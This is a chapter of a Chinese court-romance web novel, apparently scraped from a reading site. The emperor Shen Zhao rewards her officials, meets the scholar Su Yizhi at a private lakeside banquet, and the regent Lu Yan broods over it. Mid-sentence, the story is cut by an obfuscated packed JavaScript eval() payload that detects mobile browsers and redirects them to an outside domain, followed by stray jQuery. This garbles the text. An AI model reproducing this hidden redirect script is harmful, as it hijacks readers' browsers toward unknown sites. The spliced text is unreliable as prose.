默认冷灰
24号文字
方正启体

23. 暗火

作者:千灯瑾本书字数:K更新时间:
    晋云回京那天,城门刚开,时辰很早,晨雾像奶白的汤弥漫着。


    他一身绯袍沾了泥点,面色疲惫,却分毫掩不住眉眼里的亮芒。


    治河、赈灾、抓贪,三件差事办得滴水不漏,他和苏逸之纷纷声名鹊起。


    “此番江南,晋爱卿为首功。”沈昭抬眼,掠过苏逸之微垂的睫毛,径直落在晋云身上,“贪墨之案,水患之局,一并肃清,朕心甚慰。”


    她在乾清门亲迎,赐金赐酒,唇角含着笑意,“晋爱卿辛苦,即日起仍领右佥都御史,兼署河道总督,赏金百两,准假三日。”


    一句话,把实权、银子和体面都塞进了晋云怀里,足以彰显她的重视和满意。


    晋云跪接,声音沉稳,“臣叩谢天恩,必不负陛下所托。”


    沈昭微微一笑,可那笑意却未达眼底。


    她的确十分满意晋云和苏逸之的表现,贪墨一事,严琢心底哪怕多么恨她,表面上的功夫也还是要做到位。


    沈昭不知几次派御林军抄家,每次她都冷笑着看蛀虫的府里堆满了金银珠宝,亮得晃眼,再看那些蛀虫哭天抢地,互相甩锅。


    抄家抄出来的钱丰盈了国库,刮出来的人纷纷进了大牢,秋后问斩。


    严琢被迫拔掉了不少自己的人,也就是陆衍的助力,她的绊脚石。


    苏逸之和晋云一同返京,仍着素洁的青衫,以一只木簪束发,袖口磨得发白。


    他立在阶下,看沈昭拍了拍晋云的肩,也听清了她的话,却不羡不妒。


    沈昭微微侧首,似才想起苏逸之仍立着,他青衫微皱,苍白的指尖无意识摩挲着袖口。


    她声音柔和,像春夜灯雨,但仔细听去,却没有对晋云那般亲近,“苏爱卿此番功不可没,翰林院侍读学士仍照旧,赏黄金百两,玉带一条,赐宴一次。”


    苏逸之垂眼一笑,跪地接旨,“臣多谢陛下赏赐。”


    沈昭浅棕的瞳色在日影下泛着鎏金般的涟漪,染上些微笑意,“苏爱卿文采风流,朕听闻你在江南民间声望颇高。”


    她这话说得半真半假,她确实欣赏苏逸之的才学,称赞他的文识。


    但此番下江南,他凭着出色的外表和性格在扬州城名声大噪,名声迅速传遍各地。


    哪怕是一手扶持上来的心腹,也不会有哪个帝王能容忍一个臣子爬到自己头上,何况是苏逸之这样一个可以轻松笼络人心的臣子。


    苏逸之直起身,温润似水的眸子里漾出一湖春水,“陛下谬赞,臣能有所功就皆依赖于陛下,百姓不过是在借臣颂扬陛下。”


    答得滴水不漏,无可挑剔。


    在百官退散后,苏逸之为她递上一封折子,里面是江南恢复的章程、河工新图、贪墨余党的名录。


    厚厚一叠,字如其人,工整飘逸,看得出花费心思之多。


    沈昭随手翻了翻,掩去眸中深意,笑了。


    沈昭屏退身边所有人,独留苏逸之,“便笺里的十里荷香,朕记下了,酉时太液池,朕温酒等你。”


    苏逸之睫羽一颤,唇角弯出清浅的弧度,笑意盈盈,“臣遵旨。”


    日影一寸寸爬上丹墀,御书房前,沈昭目送他离去,指尖在袖中慢慢收紧。


    她不信苏逸之,却信他的野心。


    信他看得出她的区别对待,信他能猜到她尚存怀疑,自知功不及晋云,若想爬得更高,必会另辟蹊径。


    是以情为饵。


    沈昭眼底敛下一抹寒光,几不可察地讽笑一声。


    不论那份情是真是假,她都需要这个借口,这次机会。


    *


    消息传到摄政王府时,陆衍正在喂狐狸,小红现在已经能跳上他膝头抢食,蓬松的尾巴扫过他手背,留下一道软刺的痒。


    寒赋把密信放在案上,低声道,“殿下,苏逸之今日入城,陛下为他赐私宴,酉时太液池。”


    短短一句,没有添油加醋,却比任何添油加醋都更刺耳。


    陆衍指尖一顿,羊奶溅出几滴,落在赤色的狐毛上,像一枚雪飘于满地落梅上。


    他垂眸,用指腹抹去那滴液体,声音听不出分毫情绪,“知道了。”


    寒赋犹豫,不敢看他的表情,强迫自己直视在陆衍怀里打滚的小红,“殿下不去吗?”


    陆衍抱起小红,让她趴在自己肩上,任由她扒拉自己的衣襟,声音极轻,“去?本王去做什么?看她和别人赏花?还是去看苏逸之那张臭脸?”


    寒赋跟随他许久,从他平淡的语气中捕捉到了不快,顿时安静如鸡,不敢再答话。


    整整一个白日,陆衍照常理事、看书、下棋、喂狐、责骂下属,甚至午后还去西山跑了一圈马。


    可每过一柱香,他的指骨就收紧一分,像有一根看不见的弦死死勒在腕上,将他的理智,和告诫自己的克制消耗殆尽。


    为什么?


    她中毒的日子是他在陪,药是他在喂,可她却对他退避三舍,避如蛇蝎,还说出那些冷漠伤人的话刺痛他。


    为什么她不见我,却要见苏逸之?甚至还要为他设私宴。


    酉时将至,暮色从屋脊漫下来,霁月阁的灯一盏盏点亮,陆衍却没点自己面前那一盏。


    他俊美的脸笼罩在阴影里,看不清神色,小红从他肩膀上滑下来,趴在他腿上撒欢,他的手有一搭没一搭地轻挠她的下巴。


    一旁的暗卫不是寒赋,相貌不同于一般暗卫的俊气或英武,生得眉清目秀,倒像个姑娘。


    寒赋被一个莫名其妙的理由罚去了暗阁,想必是被压着火气的陆衍当成了出气筒,他走后,陆衍身边换成了平日里常待在暗阁的边月。


    边月不常跟在陆衍身边,如今见这个暗阁里人人闻风丧胆的主子这么逗弄一只狐狸,居然不怕死地觉得主子好像没别人口中那么可怕。


    “主子主子,这只狐狸有名字吗?”


    陆衍一记眼风扫过去,轻佻的桃花眼弯出邪气的弧度,似笑非笑地看着他,“你猜啊。”


    边月兴冲冲地上前,蠢蠢欲动的手伸出来就想去摸那软乎乎的毛,“好乖巧的狐狸,主子,我可以摸摸吗?”


    结果没料到,小红长长的尾巴一摆,往陆衍怀里一钻,躲开了边月的触碰。


    “……”


    边月的手尴尬地僵在空中,他扯了扯嘴角,干笑两声,默默收回了手。


    “哈哈……看来小狐狸只喜欢主子,不太喜欢我。”


    陆衍像是被这句话取悦了一样,挠下巴时被小红轻轻咬了手指也不恼,只是闷声笑,“对,小红只喜欢我,不喜欢别人。”


    小……小红?


    边月震惊了,心想主子取的名字未免太过……质朴随


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221581|181539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意,这珍贵的赤狐被他这样叫着,倒有种普通猫狗的感觉。


    边月看着陆衍膝上毛茸茸的小红,还是有些心痒,但他也不敢再上手,看了眼屋中的滴漏,他小声提醒,“殿下,快到酉时了。”


    这还是寒赋和他交接时告诉他的,一定要提醒殿下时间。


    陆衍终于起身,不轻不重地揉了两把小红又韧又脆的耳朵,把她往软垫里一塞,“备马,入宫。”


    *


    太液池北岸,水榭四面垂纱,微风一吹,轻薄的纱影乱晃。


    沈昭先到,只带沉璧守在岸边。


    沉璧跟了纪成玉没多久,身上的伤一好,就被纪成玉好话歹话地赶回了沈昭身边。


    未央宫里,纪成玉笑得温婉,眼底却闪着狡黠的光影,“陛下,沉璧在臣妾身边只能做些洒扫的活计,倒是屈才,不如还是让他回来跟着陛下吧。”


    她话一撂下就行礼退下了,也不管殿里有些僵硬的两人。


    看着沉璧一言不发就要下跪,沈昭只得拦着他,无奈扶额,“罢了,你想回朕身边吗?”


    沉璧声音依旧,却暗自带了些委屈,“属下一直都是陛下的人,全听陛下安排。”


    沈昭最后还是没赶沉璧走,默许了纪成玉的“完璧归赵”。


    此刻的太液池旁晚风习习,水面波纹荡漾,微微散去仲夏的热气,池水在月光下泛着细碎的银波,拍打着岸边的石阶。


    沈昭没穿冕服,一袭墨蓝色便袍,乌黑的发丝用朱红发带随意束起,腰间束带勒出劲瘦的线条。


    苏逸之远远行来,青衫在夜风里荡起波纹,手里提着一盏荷花灯。


    灯芯未点,花瓣用真荷制成,还沾着些晶莹的水珠,清浅的荷香随着他的走近悄然弥漫开来。


    “臣来迟,望陛下恕罪。”看见沈昭,他笑了,声音如碎玉泠冰,带来些许清透的凉意。


    沈昭抬手,示意沉璧退到十步外,水榭里只剩他们两人,池水拍岸。


    苏逸之将荷花灯放在案上,修长的指手指轻轻拨弄花瓣,“江南的荷花开得比京城早些,陛下日理万机,恐无暇赏玩。臣便自作主张做了这个灯,给陛下留个念想。”


    他抬眸,目光坦荡地望向沈昭,眼底映着水榭的灯火,温润柔和。


    沈昭未置可否,抬手将一只温在小炉上的青瓷酒壶提起,清冽的酒液注入两只白玉酒盏。


    她将其中一盏推至苏逸之面前,声音平静无波,“晋云擢升河道总督,掌实权要津,你却没能如此,苏爱卿可觉得委屈?”


    苏逸之低笑一声,那笑声清浅,却带着洞悉的意味。


    他伸手去接酒杯,温热的指尖在交接时,似是无意地轻轻擦过沈昭的手背,肌肤相触的瞬间,他并未退缩,反而抬眼,话直白得惊人,“臣知道,陛下还是不信臣。”


    他就这样,将两人之间那层微妙的窗户纸,毫不留情地捅破了,不留半分余地。


    沈昭挑眉看他,抬手饮了口酒,清酒入口温润,下喉却腾起一股辛辣,刺激得她微微眯起了眼,“苏爱卿说话倒是直接。”


    苏逸之眉眼间笑意加深,他突然伸出手,带着一种试探的温柔,覆上了沈昭搁在案上的手腕。


    “臣以为,”他的掌心温热干燥,动作守礼克制,却又带着不容忽视的侵略感,“陛下喜欢直率的人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)